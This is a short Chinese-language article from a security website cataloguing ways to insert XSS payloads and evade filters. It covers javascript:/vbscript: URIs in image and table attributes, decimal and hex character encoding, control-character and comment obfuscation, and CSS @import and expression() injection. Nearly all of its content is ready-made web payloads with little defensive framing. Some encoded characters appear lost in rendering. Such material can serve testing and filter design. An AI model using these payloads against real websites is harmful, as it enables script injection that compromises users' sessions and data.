首页 > 安全 > 网站安全 >

XSS代码触发条件,插入XSS代码的常用方法

2012-07-11

1.脚本插入(1)插入javascript和vbscript正常字符。例1:<img src=javascript:alert(/xss/)>例2:<table background=javascript:alert(/xss/)></table>&rsquo;/在表格中插入脚本例3:<img src=vbscript:msgbox...

1.脚本插入

(1)插入javascript和vbscript正常字符。
例1:<img src=”javascript:alert(/xss/)”>
例2:<table background=”javascript:alert(/xss/)”></table>&rsquo;/在表格中插入脚本
例3:<img src=”vbscript:msgbox(“a”)”>
(2)转换字符类型。将javascript或vbscript中的任一个或全部字符转换为十进制或十六进制字符
例1:<img src=”javascript:alert(/xss/)”> &lsquo;/将j字符转为十进制字符j 。
例2:<img src=”javascript:alert(/xss/)”> &lsquo;/将j字符转为十六进制字符j 。
(3)插入混淆字符。在系统控制字符中,除了头部的&#00(null)和尾部的(del)外,其他31个字符均可作为混淆字符,比如 、 等字符都可插入到
javascript或vbscript的头部,其中Tab符 、换行符、回车符还可以插入到代码中任意地方。
例1:<img src=” javascript:alert(/a/)”> &lsquo;/插入到代码头部,其中 可写成 ,效果一样
例2:<img src=”java scr ipt:alert(/a/)”> &lsquo;/插入到代码中任意位置,其中 可写成
例3:<IMG SRC=”jav ascript:alert(&lsquo;XSS&rsquo;)”> &lsquo;/ 是回车符的16进制形式
例4:<IMG SRC=”jav ascript:alert(&lsquo;XSS&rsquo;)”> &lsquo;/ 是换行符的16进制形式
2.样式表 www.2cto.com
(1)利用CSS代码@import、expression触发XSS漏洞
例1:@import “http://web/xss.css”; &lsquo;导入外部带有XSS代码的CSS样式表。
例2:@import&rsquo;javascript:alert(“xss”)&rsquo;; &lsquo;调用javascript脚本触发漏洞
例3:body{xss:expression(alert(&lsquo;xss&rsquo;))} &lsquo;在内部样式表中加入expression事件
例4:<img style=”xss:expression(alert(“xss”))”>&rsquo;在内嵌样式表中加入expression事件
(2)在CSS代码中加入javascript和vbscript脚本
例1:body{background-image:url(javascript:alert(“xss”))}
例2:body{background-image:url(vbscript:msgbox(“xss”))}
(3)转换字符类型,以十六进制字符替换其中或全部的字符:
例1:@\0069mport:url(web/1.css);&rsquo;//将其中的i转为\0069
例2:body{xss:\0065xpression(alert(&lsquo;xss&rsquo;))}&rsquo;//将e转换为\0065
例3:body{background-image:\0075\0072\006c…}&rsquo;将url全转为16进制
(4)插入混淆字符,在css中,/**/是注释字符,除了/**/外,字符”\”和结束符”\0&Prime;也是被忽略的,可以用来混淆字符。
例1:@\0im\port&rsquo;\0ja\vasc\ript:alert(“xss”)&rsquo;;
例2:@\i\0m\00p\000o\0000\00000r\000000t”url”;
相关文章
最新文章
热点推荐